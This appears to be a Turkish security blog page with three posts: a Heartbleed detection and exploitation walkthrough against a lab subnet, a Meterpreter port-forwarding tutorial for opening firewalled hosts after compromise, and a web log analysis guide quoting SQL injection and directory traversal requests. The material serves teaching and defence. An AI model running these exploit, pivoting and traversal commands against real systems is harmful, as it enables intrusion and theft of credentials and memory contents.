9 Mayıs 2014 Cuma

Nmap, Nessus, Metasploit Kullanarak OpenSSL Heartbleed AÇIĞI

Paylaşım Unknown on 06:08 with 1 comment
TLS’in heartbeat eklentisindeki bir programlama hatasından kaynaklanan sorun sayesinde internete açık zafiyet içeren OpenSSL sürümünü kullanan herhangi bir sistemin belleğindeki bilgiler 64 kbyte’lık bölümler halinde alınabilmektedir.

Açık, internet üzerinden herhangi yetki gerektirmeksizin tcp 443. porttan kurulan bağlantılar üzerinden(başka portlarda çalışan TLS destekli protokollerde dahil) şifrelemede kullanılan private key’lerin, kullanıcı adı ve şifrelerin, cookie’lerin ve benzer her türlü hassas verinin alınabilmesine olanak sağladığından dolayı, OpenSSL’in 1.0.1 – 1.0.1f arası sürümlerini kullanan sistemlerin bir an önce açığın bulunmasının hemen ardından yayınlanan OpenSSL 1.0.1g sürümüne terfi etmeleri, bu işlem yapılamıyorsa da mevcut OpenSSL’in “-DOPENSSL_NO_HEARTBEATS” parametresi ile yeniden derlenerek heartbeat özelliğini devre dışı bırakmaları önerilmektedir.
İlgili zafiyeti gideren güncelleme paketleri, CentOS, Debian ve FreeBSD paket depolarına eklendi. Bu nedenle ilgili sistemleri kullanıyorsanız acilen sistem update’i edilmelidir. Ayrıca, sistem güncellemesine kadar geçen süreç içerisinde SSL anahtarlarınızın alınıp alınmadığını bilemeyeceğiniz için mevcut anahtarların da revoke edilerek yenilerinin üretilmesi yerinde olacaktır.
Açıklıktan Etkilenen Sistemler
  • Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
  • Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
  • CentOS 6.5, OpenSSL 1.0.1e-15
  • Fedora 18, OpenSSL 1.0.1e-4
  • OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) ve 5.4 (OpenSSL 1.0.1c 10 May 2012)
  • FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
  • NetBSD 5.0.2 (OpenSSL 1.0.1e)
  • OpenSUSE 12.2 (OpenSSL 1.0.1c
  • Red Hat Enterprise Linux 6.5, Red Hat Enterprise Virtualization Hypervisor 6.5, and Red Hat Storage 2.1
Açıklığın ortaya çıkmasından sonra istismarı için bir takım istismar araçları yayınlandı. Bağımsız olarak geliştirilen exploit’lerin yanısıra Nessus, nmap, metasploit gibi en sık kullanılan güvenlik araçları da  açıklığı tespit tmek amaçlı kendilerini güncelleyerek gerekli script’leri kütüphanelerine eklediler.
İlk olarak nmap port tarama aracının yayınlamış olduğu script’i kullanarak yerel ağda açıklıktan etkilenen sistemlerin olup olmadığını kontrol edelim.


Nmap NSE Kullanarak HeartBleed Zafiyetini Tespit Etme


# nmap -p 443 --script ssl-heartbleed 6.6.6.0/24


Nmap scan report for 6.6.6.251
Host is up (0.0022s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|     Description:
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt
|_      http://cvedetails.com/cve/2014-0160/


Nmap scan report for 6.6.6.247
Host is up (0.0020s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|     Description:
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt
|_      http://cvedetails.com/cve/2014-0160/


Tablodaki port tarama sonuçlarına bakılacak olursa 6.6.6.0(6.6.6.0/24 ağı BGA'nın kullandığı sızma testi lab. sistemlerine aittir) alt ağında açıklıktan etkilenen 2 tane makinenin olduğu görülmektedir. 
Açıklığı istismar etmek için geliştirilmiş exploitler kullanılarak hedef sistem belleğindeki hassas verilere erişmek mümkün olacaktır.


Nessus ile ‘heartbleed’ Taraması Gerçekleştirme


Diğer bir zaafiyet tarama aracı olan Nessus, OpenSSL’de bulunan bu güvenlik açığı karşısında kendisini güncellemiştir. Nessus ile örnek bir heartbleed taraması aşağıdaki gibi yapılabilir.


Heartbleed taraması yapabilmek için, ilk olarak ‘Heartbleed Detection’ politikası oluşturulmalıdır.


Policy oluşturmaScreen Shot 2014-04-14 at 17.38.11.png



Oluşturulan bu politika kullanılarak tarama başlatılır.


Taramayı BaşlatmaScreen Shot 2014-04-14 at 17.39.53.png



Eğer hedef sistem açıklıktan etkilenmiş ise , nessus bu durumu tespit edecek ve aşağıdaki ekran görüntüsünde olduğu gibi rapor sunacaktır.

Screen Shot 2014-04-14 at 17.30.33.png



Metasploit ile Heartbleed Testi


En çok kullanılan güvenlik araçlarından biri olan Metasploit, OpenSSL’de bulunan bu güvenlik açığı karşısında ilgili güncellemeyi yaptı.Aşağıdaki örnekte Metasploit kullanarak hedef sistemin açıklıktan etkilenip etkilenmediği kontrol edilmiştir.

NOT:Metasploit ve Nessus sadece HTTPS değil diğer SSL kullanan portları da test edip tespit edebilmektedir.


msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(openssl_heartbleed) > show options


Module options (auxiliary/scanner/ssl/openssl_heartbleed):


  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  RHOSTS                       yes       The target address range or CIDR identifier
  RPORT       443              yes       The target port
  STARTTLS    None             yes       Protocol to use with STARTTLS, None to avoid    STARTTLS  (accepted: None, SMTP, IMAP, JABBER, POP3)
  THREADS     1                yes       The number of concurrent threads
  TLSVERSION  1.1              yes       TLS version to use (accepted: 1.0, 1.1, 1.2)


msf auxiliary(openssl_heartbleed) > set RHOSTS 6.6.6.251
RHOSTS => 6.6.6.251
msf auxiliary(openssl_heartbleed) > run


[+] 6.6.6.251:443 - Heartbeat response with leak
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed



Heartbleed İstismar Scripti


Açıklığı tespit ettikten sonra, istismar etmek için https://github.com/musalbas/heartbleed-masstest/blob/master/ssltest.py adresinde bulunan exploit kullanılabilir.Örnek bir uygulama aşağıdaki gibidir.


# python ssltest.py 6.6.6.251 -p 443
username=bg
0290: 65 6E 76 70 6E 26 70 61 73 73 77 6F 72 64 3D 50 alab&password=P
02a0: 64 62 37 34 63 70 38 63 6C 72 A9 4B 76 27 B9 A8 as12cp8bga.Kv'..
02b0: 9D 29 59 C4 54 4A 16 06 75 3B 00 00 00 00 00 00 .)Y.TJ..u;......
username: bgalab
pass: Pas12cp8bga


Pacemaker ile İstemci(Browser) Sistemlerin HeartBleed Testi
OpenSSL’de bulunan bu güvenlik açığı, sadece sunucu tarafını etkilemekle kalmayıp sunucu ile iletişime geçen istemcileride etkilemektedir. Böyle bir durumdan etkilenip etkilenmediğinizi https://github.com/Lekensteyn/pacemaker adresinde bulunan araç ile test edebilirsiniz.


Önce sunucuyu çalıştırın.
python pacemaker.py


Daha sonra istemci bilgisayar üzerinde https://localhost:4433/  adresine gidin.
curl https://localhost:4433/


İstemci bağlantı hatası verecektir.
curl: (35) Unknown SSL protocol error in connection to localhost:4433


Eğer açıklıktan etkilenmemiş iseniz sunucu çıktısı aşağıdaki gibi olacaktır.
root@kali:~/Desktop/pacemaker# python pacemaker.py
Listening on :4433 for tls clients
Connection from: 127.0.0.1:36725
Did not receive heartbeat response! [Errno 104] Connection reset by peer
Possibly not vulnerable


Eğer açıklıktan etkilenmiş iseniz sunucu çıktısı aşağıdaki gibi olacaktır.
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  ...@....-..R4.m.
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00  ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00  .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42  ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00  ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ...............


Eğer kendi sistemlerinizde bu testi gerçekleştirmek isterseniz aşağıdaki adımları izleyebilirsiniz.


İlk olarak pacemaker.py scriptini çalıştırın.
python pacemaker.py


Daha sonra yine  istemci bilgisayar üzerinden aşağıdaki komutu çalıştırın.
wget -O /dev/null https://google.com https://localhost:4433



Eğer açıklıktan etkilenmiş iseniz çalıştırılan pacemaker.py scripti aşağıdaki gibi bir çıktı verecektir.


Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  ...@....-..R4.m.
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74  ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c  -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d  ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f  .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d  www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73  /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01  itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12  ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2  .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d  ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f  ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38  ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5  ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f  ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1  {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00  ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36  ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32  46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00     00_B//.........

4 Mayıs 2014 Pazar

Firewall/NAT Korumalı Sistemleri Dış Dünyaya Açma . !

Paylaşım Unknown on 10:25 with Şuan Yorum Yok

NAT/Router/Firewall arkasındaki bir sistem dış dünyaya tamamen kapalıdır. Dışardan yalnızca izin verilen portlara bağlantı  kurulabilir. Pentest çalışmalarında, hedef network'den ele geçirdiğiniz bir sistemi dış dünyaya açmak (rdp,vnc,ssh vb.) diğer pentest ekibi ile paylaşmanız gerektiğinde kullanabileceğiniz teknikler kısıtlıdır.



Firewall atlatmak, ters bağlantı methodu destekleyen yazılım bulmak ciddi maliyettir.

Bu tür senaryolarda, Nat/Router/Firewall bypass etmek ve dış dünyadan (wan) gelen trafiği iç ağa yönlendirmek için ters bağlantı tekniği kullanılır ve bunu yapacak gelişmiş bir ajana ihtiyaç duyulur. Meterpreter, firewall/nat bypass için "reverse_tcp" ve "reverse_http(s)" bağlantı tekniklerini kullanmaktadır. İç ağı, dış dünyaya açmak için port porward ve vpn özelliklerine sahip gelişmiş bir ajandır.



Uzak ağda, firewall korumalı yalnızca 80 portuna erişim kurulabilen websunucu bulunuyor. Web sayfasında bulunan bir güvenlik açığından faydalanarak meterpreter ajanı karşı tarafa yüklendi. Bu aşamadan sonra amaç, sistemi dış dünyaya açmak. Örneğin, rdp bağlantısı gerçekleştirmek, dosya sistemine bağlantı kurmak ve içeriden veri kaçırmak ...

Biz istiyoruz ki, pentest ekibinden barkın 1.1.1.101 ip adresli sunucuya uzak masaüstü bağlantısı yapabilsin. Bunun için uzak sistemde rdp servisini etkinleştirseniz bile firewall'dan içeri izin olmadığı için bağlantı kurulamaz. Meterpreter ile erişim elde eden mr.pentester (x.y.z.t) kendi ip adresine gelen rdp isteğini meterpreter ile içeri yönlendirerek diğer kullanıcıya erişim izni sağlayabilir.

Meterpreter Port Forwarding
meterpreter > portfwd -h

Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:

-L <opt> The local host to listen on (optional).
-h Help banner.
-l <opt> The local port to listen on.
-p <opt> The remote port to connect to.
-r <opt> The remote host to connect to.



mr.pentester (x.y.z.t)  bilgisayarının 4444 portuna gelen istekleri, firewall arkasındaki 1.1.1.101 ip adresinin 3389 portuna yönlendireceğiz;
meterpreter > portfwd add -l 4444 -r 1.1.1.101 -p 3389
[*] Local TCP relay created: 0.0.0.0:4444 <-> 1.1.1.101:3389

Pentest ekibinden Barkın kullanıcısı, aşağıdaki gibi mr.pentester bilgisayarına bağlantı kurmak istediğinde firewall arkasındaki 1.1.1.101 bilgisayarına ulaşmış olur.

barkın@localhost:~$ rdesktop x.y.z.t:4444 -k tr -u administrator
WARNING: Remote desktop does not support colour depth 24; falling back to 16

3 Mayıs 2014 Cumartesi

Web Sunucu Loglarından Saldırı Analizi

Paylaşım Unknown on 01:16 with Şuan Yorum Yok


Bilişim sistemlerine yönelik saldırıları belirlemek ve engellemek için aktif ve pasif olmak üzere temelde iki yöntem vardır. Aktif saldırı belirleme ve engelleme sistemleri genellikle ağ/host tabanlı çalışır NIPS/HIPS(Network / Host Intrusion Prevention System) olarak adlandırılır ve anlık ağ trafiği ya da işletim sistemi fonksiyonlarını kullanarak engelleme işlemi gerçekleştirir.




Pasif belirleme sistemleri çok farklı olabilmektedir. Bunlardan biri de sistemin loglarını inceleyerek gerçekleşmiş saldırıları belirlemektir. Saldırıların büyük çoğunluğu log(kayıt) dosyalarındaki – eğer yeterli loglama altyapısı var ve sağlıklı çalışıyorsa- anormallikler incelenerek belirlenebilir.




Konunun detayına girmeden bu yöntemin(log analizi->saldırı inceleme) ciddi eksikliklerinin bulunduğunu belirtmek gerekir. Log analizi yöntemiyle sadece sıradan saldırılar konusunda bulgular elde edilebilir. Genel web sunucu altyapısının eksikliği nedeniyle karmaşık saldırılar sadece web sunucu log analizinden bulunamaz. Ortamda paketleri olduğu gibi gören ve kaydeden başka bileşenlere ihtiyaç vardır (IDS, FPL gibi)




Mesela web sunucular POST isteklerinin detaylarını loglamaz ve eğer saldırganın gerçekleştirdiği atak POST detayında gizli ise sunucu logunda şüpheli bir işlem olarak gözükmeyecektir. Yine saldırgan çeşitli encoding yöntemlerini kullanarak aranacak kelimelerin farklı şekillerde log dosyasında saklamasını sağlayabilir. Burada log analizi gerçekleştiren uzmanın konu hakkında etraflıca bilgi sahibi olması önemlidir.




Log Analizi

Genellikle iki şekilde log analizi gerçekleştirilir.

Hazır araçlar kullanarak,

UNIX/Linux sistemlerdeki cat, awk, grep, cut .. gibi basit araçlar kullanarak.

Hazır araç kullanmak işlemleri hızlandırsa da false positive oranı yüksek olduğu için çıkan sonucun tekrar gözden geçirilmesi gerekmektedir.

Bu yazıda hem otomatize araç hem de elle yapılan ve toplamda 100.000.000’dan fazla satır içeren yoğun bir sunucuya ait gerçekleştirilen analize dair notlar bulacaksınız.




Apache Loglarında Saldırı İmzası Arama – Log Tabanlı IDS

Gerçekleştirilen her saldırı arkasında mutlaka bir iz bırakır. Bu iz bazı durumlarda saldırının gerçekleştirildiği sistem üzerinde olur bazı durumlarda -saldırganın teknik bilgi seviyesine bağlı olarak- aradaki IDS/IPS gibi pasif sistemlerde olur. Apache, IIS gibi web sunucu yazılımlarının loglarını analiz ederek saldırı imzası arayan çeşitli yazılımlar vardır. Bu yazılımların ortak özelliği kayıtlı loglar arasında daha önceden tanımlanmış belirli kelime/kelime gruplarını aramak ve buna göre uyarı vermektir.




Bu tip yazılımları kullanırken unutulmaması gereken en önemli konu Apache ve diğer web sunucular ön tanımlı olarak POST isteklerinde gelen değerleri loglamazlar. Bunun için mod_forensic gibi ya da mod_security gibi ek bileşenler kullanılmalıdır ya da POST üzerinden gerçekleştirilecek saldırıları yakalamak için WAF, Load Balancer, IPS gibi ürünlerin loglarına başvurmak gerekir.




HTTP GET / POST İstekleri

Aşağıdaki iki farklı sistem tarafından alınmış bir POST istek detayı bulunmaktadır. Bunlardan ilki web sunucu kayıtlarından alınmış, diğeri web sunucuya gidip gelen trafiği dinleyen bir sniffer tarafından alınmıştır.

POST isteğinin web sunucu logundaki çıktısı

127.0.0.1 – - [04/Mar/2012:02:10:10 -0500] “POST /dvwa/login.php HTTP/1.1¨ 302 454 “http://localhost/dvwa/login.php” “Mozilla/5.0 (X11; Linux i686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1¨

POST isteğinin sniffer aracılığıyla gösterimi

T 127.0.0.1:47635 -> 127.0.0.1:80 [AP]

POST /dvwa/login.php HTTP/1.1.

Host: localhost.

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8.

Accept-Language: en-us,en;q=0.5.

Accept-Encoding: gzip, deflate.

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7.

Connection: keep-alive.

Referer: http://localhost/dvwa/login.php.

Cookie: security=high; XpLiCo=i68o2ejvm6jnp3b9pv083i4mi7; PHPSESSID=uvn4olrlfd6sckjhe4eea4jno4.

Content-Type: application/x-www-form-urlencoded.

Content-Length: 49.

username=admin&password=hatali_parola&Login=Login




Görüleceği gibi POST isteğini detaylı olarak incelendiğinde (Network üzerinden) hangi kullanıcı adı ve parola bilgilerinin girildiği ortaya çıkmaktadır. Bu detay web sunucu loglarında gözükmeyecektir. Web sunucu loglarında sadece hangi URL’e istek yapıldığı bilgisi kayıt altına alınır.




SQLi Denemesinin Web Sunucu Logu ve Sniffer Üzerinden Analizi

Web sunucu logu:

127.0.0.1 – - [04/Mar/2012:02:10:10 -0500] “POST /dvwa/login.php HTTP/1.1¨ 302 454 “http://localhost/dvwa/login.php” “Mozilla/5.0 (X11; Linux i686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1¨




Sniffer üzerinden alınan çıktı

T 127.0.0.1:47632 -> 127.0.0.1:80 [AP]

POST /dvwa/login.php HTTP/1.1.

Host: localhost.

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8.

Accept-Language: en-us,en;q=0.5.

Accept-Encoding: gzip, deflate.

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7.

Connection: keep-alive.

Referer: http://localhost/dvwa/login.php.

Cookie: security=high; XpLiCo=i68o2ejvm6jnp3b9pv083i4mi7; PHPSESSID=uvn4olrlfd6sckjhe4eea4jno4.

Content-Type: application/x-www-form-urlencoded.

Content-Length: 234.

.

username=ECYH%252C%2528SELECT%2520%2528CASE%2520WHEN%2520%25282167%253D2167%2529%2520THEN%2520ECYH%2520ELSE%25

202167%252A%2528SELECT%25202167%2520FROM%2520INFORMATION_SCHEMA.CHARACTER_SETS

%2529%2520END%2529&password=parola&Login=Login




URL encode edilmiş veri decode edilirse aşağıdakine benzer bir SQL sorgusu olduğu ortaya çıkacaktır.

ECHO SELECT … CASE … WHEN … THEN ECYH ELSE SELECT FROM INFORMATION_SCHEMA.CHARACTER_SETS AND password=parola&Login

Bu tip POST isteği kullanılarak gerçekleştirilen saldırılar Ağ tabanlı IPS/IDS sistemleri ya da WAF/Load Balancer sistemler kullanarak da belirlenebilir.

Hazır Araçlar Kullanarak Log Analizi, Scalp

Scalp, Web sunucu loglarından denenmiş web saldırılarını log analizi yöntemiyle bulmaya çalışır. Saldırı analizinde kullanacağı değişkenleri de PHPIDS projesinden almaktadır.

https://dev.itratos.de/projects/php-ids/repository/raw/trunk/lib/IDS/default_filter.xml

Komut satırı parametrlerini görme




root@bt:/home/huzeyfe# python scalp-0.4.py

Scalp the apache log! by Romain Gaucher – http://rgaucher.info

usage: ./scalp.py [--log|-l log_file] [--filters|-f filter_file] [--period time-frame] [OPTIONS] [--attack a1,a2,..,an]

[--sample|-s 4.2]

–log |-l: the apache log file ‘./access_log’ by default

–filters |-f: the filter file ‘./default_filter.xml’ by default

–exhaustive|-e: will report all type of attacks detected and not stop

at the first found

–tough |-u: try to decode the potential attack vectors (may increase

the examination time)

–period |-p: the period must be specified in the same format as in

the Apache logs using * as wild-card

ex: 04/Apr/2008:15:45;*/Mai/2008

if not specified at the end, the max or min are taken

–html |-h: generate an HTML output

–xml |-x: generate an XML output

–text |-t: generate a simple text output (default)

–except |-c: generate a file that contains the non examined logs due to the

main regular expression; ill-formed Apache log etc.

–attack |-a: specify the list of attacks to look for

list: xss, sqli, csrf, dos, dt, spam, id, ref, lfi

the list of attacks should not contains spaces and comma separated

ex: xss,sqli,lfi,ref

–output |-o: specifying the output directory; by default, scalp will try to write

in the same directory as the log file

–sample |-s: use a random sample of the lines, the number (float in [0,100]) is

the percentage, ex: –sample 0.1 for 1/1000




çalıştırıldığında aşağıdaki gibi hata alınabilir.




# python scalp-0.4.py –log access.101223.log –filters default_filter.xml -e –html

Loading XML file ‘default_filter.xml’…

The rule ‘(?:union\s*(?:all|distinct|[(!@]*)?\s*[([]*\s*select)|(?:\w+\s+like\s+\”)|(?:like\s*”\%)|(?:”\s*like

\W*["\d])|(?:”\s*(?:n?and|x?or|not |\|\||\&\&)\s+[\s\w]+=\s*\w+\s*having)|(?:”\s*\*\s*\w+\W+”)|(?:”\s*

[^?\w\s=.,;)(]+\s*[(@"]*\s*\w+\W+\w)|(?:select\s*[\[\]()\s\w\.,”-]+from)|(?:find_in_set\s*\()’ cannot be compiled properly







Çözümü:

http://code.google.com/p/apache-scalp/issues/list




Belirli Tipteki Saldırıları Belirleme

Sadece belirli tipteki saldırıları aratmak için –a sqli, xss gibi parametre kullanılabilir.

diretct

85.95.238.173 – - [11/Feb/2012:00:50:50 -0600] “GET /nessus\\..\\..\\..\\..\\..\\..\\winnt\\win.ini HTTP/1.1¨ 404 21816 “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)”

Reason: “Detects basic directory traversal”




85.95.238.173 – - [11/Feb/2012:00:50:50 -0600] “GET /exchweb/bin/auth/owalogon.asp?url=http://12345678910 HTTP/1.1¨ 404 21816 “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)”

Reason: “Detects specific directory and path traversal”




85.95.238.173 – - [11/Feb/2012:00:50:50 -0600] “GET /%80../%80../%80../%80../%80../%80../windows/win.ini HTTP/1.1¨ 404 21816 “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)”

Reason: “Detects basic directory traversal”




85.95.238.173 – - [11/Feb/2012:00:50:51 -0600] “GET /%80../%80../%80../%80../%80../%80../winnt/win.ini HTTP/1.1¨ 404 21816 “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)”

Reason: “Detects basic directory traversal”




85.95.238.173 – - [11/Feb/2012:00:50:52 -0600] “GET /%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./windows/win.ini HTTP/1.1¨ 404 21816 “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)”

Reason: “Detects basic directory traversal”

scalp log satırı yüksek olan log analizlerinde genellikle yüksek oranda false positive ürettiği için gerçek ortamlarda kullanılmayacak bir yazılımdır. Ortalama %10-%15 civarında false positive ürettiği göz önüne alınırsa log analizi yapan uzmanın logları analiz ettiği kadar sonuçları da analiz etmesini gerek kılacaktır.




Basit UNIX Araçlarıyla Log Analizi

Bu yöntemde önemli olan logların arasından ne tip özellikte olanlarını bulmak istediğimizi belirlemektir. Zira milyonlarca satır log arasında ne aradığını bilmeyen birinin samanlıkta iğne arayandan farkı kalmayacak ve zamanı boşa geçirecektir.

Saldırı Olarak Değerlendirilebilecek Durumlar

Saldırı yapılan sunucuya özel bazı dizin/dosyaların istenmesi

Mesela WordPress gibi sistemlerde genellikle /wp-admin gibi dizinler ya da wp-login.php gibi dosyalara yönelik brute force denemeleri gerçekleştirilir. Saldırı imzası olarak /wp-admin ve wp-login.php gibi kelimeleri arattırırsak saldırı yapanların bir kısmı belirlenmiş olunur.




Sunucuya bağlantı kuran ip adresleri ve bağlantı sayıları

Sunucu üzerinde deneme gerçekleştiren ip adreslerinin normalin üzerinde bağlantı sayısına sahip olması beklenir.

Aşağıdaki komutla Apache loglarında hangi ip adresi kaç adet bağlantı gerçekleştirmiş (top 10) ortaya çıkarılabilir.

# cat siber-access_log |awk -F ” ” ‘{print $1}’|sort -n|uniq -c|sort -nr|head

3556 9.6.2.2

1527 9.2.4.1

1142 1.1.2.8

1055 193.2.2.1

1046 9.1.2.1




Directory Traversal Denemelerini Bulma

Web üzerinden gerçekleştirilebilecek önemli saldırı yöntemlerinden birisi web üzerinden sistemdeki dosyaları okuma olarak tanımlayabileceğimiz LFI(Local File Inclusion) saldırılarıdır.

Web üzerinden gerçekleştirilen LFI vs saldırılarını loglardan yakalamak için ara bileşen olarak kullanılan ../ ..\ gibi özel ifadeleri aratmak yeterli olacaktır. Yine burada hatırlanması gereken önemli nokta bu karekterler GET isteği üzerinden taşındığı zaman web sunucu loglarında yer bulacaktır.

.

13.22.1.129 – - [01/Dec/2010:02:20:55 +0200] “GET /imprimer.asp?no=/../../../../../../../../etc/passwd|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;. HTTP/1.1¨ 404 210 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3¨

19.22.1.1 – - [01/Dec/2010:02:20:55 +0200] “GET /mailview.cgi?cmd=view&amp;fldrname=inbox&amp;select=1&amp;html=../../../../../../etc/passwd HTTP/1.1¨ 404 210 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3¨

13.22.1.19 – - [01/Dec/2010:02:20:55 +0200] “GET /modif_infos.asp?n=../../../../../../../../../etc/passwd HTTP/1.1¨ 404 213 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3¨

13.22.1.19 – - [01/Dec/2010:02:20:55 +0200] “GET /modif_infos.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini HTTP/1.1¨ 404 213 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3¨

13.22.1.19 – - [01/Dec/2010:02:20:55 +0200] “GET /modif_infos.asp?n=/../../../../../../../../../etc/passwd HTTP/1.1¨ 404 213 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3¨

13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /pm/lib.inc.php HTTP/1.1¨ 404 212 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3¨

13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /productcart/pc/Custva.asp?|-|0|404_Object_Not_Found HTTP/1.1¨ 404 223 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3¨

13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /ProductCart/pc/msg.asp?|-|0|404_Object_Not_Found HTTP/1.1¨ 404 220 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3¨

